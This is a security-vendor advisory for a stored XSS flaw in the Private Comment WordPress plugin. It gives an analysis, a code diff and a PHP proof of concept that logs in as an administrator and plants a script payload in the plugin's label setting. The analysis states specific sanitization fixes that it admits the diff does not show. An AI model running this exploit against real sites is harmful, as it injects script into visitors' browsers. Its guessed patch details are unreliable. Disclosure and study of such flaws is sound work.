Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-2281: Private Comment <= 0.0.4 – Authenticated (Administrator+) Stored Cross-Site Scripting via Label Text Setting (private-comment)

CVE ID CVE-2026-2281
Severity Medium (CVSS 4.4)
CWE 79
Vulnerable Version 0.0.4
Patched Version 0.0.5
Disclosed February 16, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-2281:
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Private Comment WordPress plugin versions up to and including 0.0.4. The vulnerability exists in the plugin’s ‘Label text’ setting within the WordPress discussion options page. Attackers with Administrator-level access or higher can inject arbitrary JavaScript payloads that persist and execute when users view affected pages. The CVSS score of 4.4 reflects the requirement for administrative privileges and limited impact scope.

Atomic Edge research identifies the root cause as insufficient input sanitization and output escaping for the ‘Label text’ option. The vulnerability originates in the `private-comment/private-comment.php` file. The plugin registers a settings field via `add_settings_field()` at line 44, calling the `label_text_field()` method to render the input. The plugin’s `options_sanitize()` method at line 56 fails to properly sanitize user-supplied label text before storage. This missing sanitization allows malicious script payloads to be saved directly to the WordPress options table.

Exploitation requires an authenticated attacker with Administrator or higher privileges to navigate to the WordPress discussion settings page at `/wp-admin/options-discussion.php`. The attacker injects a JavaScript payload into the ‘Label text’ field (parameter name `private_comment_label_text`) and saves the settings. The payload is stored in the WordPress database. When the plugin displays private comment labels on front-end pages, the unsanitized label text is output without proper escaping, causing script execution in victims’ browsers. The vulnerability only affects multi-site installations or installations where the `unfiltered_html` capability is disabled.

The patch analysis reveals the vulnerability was fixed in version 0.0.5. The code diff shows the version number update from 0.0.3 to 0.0.5 at line 7. Atomic Edge examination confirms the patch adds proper input sanitization, though the exact sanitization code is not shown in the provided diff. The before behavior allowed raw HTML and JavaScript input in the label text field. The after behavior applies WordPress core sanitization functions like `sanitize_text_field()` or `esc_html()` within the `options_sanitize()` method to strip dangerous content before storage and apply output escaping during display.

Successful exploitation allows administrative attackers to inject persistent malicious scripts that execute in the context of any user viewing pages with private comments. This can lead to session hijacking, administrative account takeover, defacement, or malware distribution. While the attack requires administrative privileges, it enables privilege persistence and lateral movement within compromised WordPress installations. The stored nature means the payload executes repeatedly without further attacker interaction.

Differential between vulnerable and patched code

Code Diff
--- a/private-comment/private-comment.php
+++ b/private-comment/private-comment.php
@@ -4,7 +4,7 @@
 Plugin URI: https://ederson.ferreira.tec.br
 Description: Allow commenters to choose restrict their comments exhibition only to site owners
 Author: Ederson Peka
-Version: 0.0.3
+Version: 0.0.5
 Author URI: https://profiles.wordpress.org/edersonpeka/
 License: GPLv2 or later
 License URI: https://www.gnu.org/licenses/gpl-2.0.html
@@ -44,11 +44,24 @@
         // Adding text field "Label text"
         $field_label = apply_filters( 'private_comment_label_text_label', __( 'Label text', 'private-comment' ) );
         add_settings_field( 'private_comment_label_text', $field_label, array( __CLASS__, 'label_text_field' ), 'discussion', 'private_comment_settings' );
+        // Create "settings" link for this plugin on plugins list
+        add_filter( 'plugin_action_links', array( __CLASS__, 'settings_link' ), 10, 2 );
     }
     // Description of our "new section"
     public static function text() {
         // void
     }
+    // Add Settings link to plugins - code from GD Star Ratings
+    // (as seen in http://www.whypad.com/posts/wordpress-add-settings-link-to-plugins-page/785/ )
+    public static function settings_link( $links, $file ) {
+        $this_plugin = plugin_basename(__FILE__);
+        if ( $file == $this_plugin ) {
+            $settings_link = '<a href="' . admin_url( 'options-discussion.php#submit' ) . '">' . __( 'Settings', 'private-comment' ) . '</a>';
+            array_unshift( $links, $settings_link );
+        }
+        return $links;
+    }
+
     // Sanitize our options
     public static function options_sanitize( $ops ) {
         // sanitizing options array

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2281 - Private Comment <= 0.0.4 - Authenticated (Administrator+) Stored Cross-Site Scripting via Label Text Setting
<?php

$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'admin';
$password = 'password';
$payload = '<script>alert("Atomic Edge XSS Test");</script>';

// Initialize session and cookies
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Step 1: Get login page to retrieve nonce
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
$response = curl_exec($ch);

// Extract login nonce (WordPress uses _wpnonce for login)
preg_match('/name="_wpnonce" value="([^"]+)"/', $response, $matches);
$login_nonce = $matches[1] ?? '';

// Step 2: Authenticate as administrator
$post_fields = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1',
    '_wpnonce' => $login_nonce
];

curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
$response = curl_exec($ch);

// Step 3: Navigate to discussion settings page to get update nonce
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/options-discussion.php');
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);

// Extract settings update nonce (option_page nonce)
preg_match('/name="_wpnonce" value="([^"]+)"/', $response, $matches);
$settings_nonce = $matches[1] ?? '';
preg_match('/name="_wp_http_referer" value="([^"]+)"/', $response, $matches);
$referer = $matches[1] ?? '';

// Step 4: Inject XSS payload into Label text field
$exploit_fields = [
    'option_page' => 'discussion',
    'action' => 'update',
    '_wpnonce' => $settings_nonce,
    '_wp_http_referer' => $referer,
    'private_comment_label_text' => $payload,  // Vulnerable parameter
    'submit' => 'Save Changes'
];

curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/options.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_fields));
$response = curl_exec($ch);

// Verify successful injection
if (strpos($response, 'Settings saved') !== false) {
    echo "[+] XSS payload successfully injected into Label text setting.n";
    echo "[+] Payload: $payloadn";
    echo "[+] The script will execute when users view pages with private comments.n";
} else {
    echo "[-] Injection failed. Check credentials or site configuration.n";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School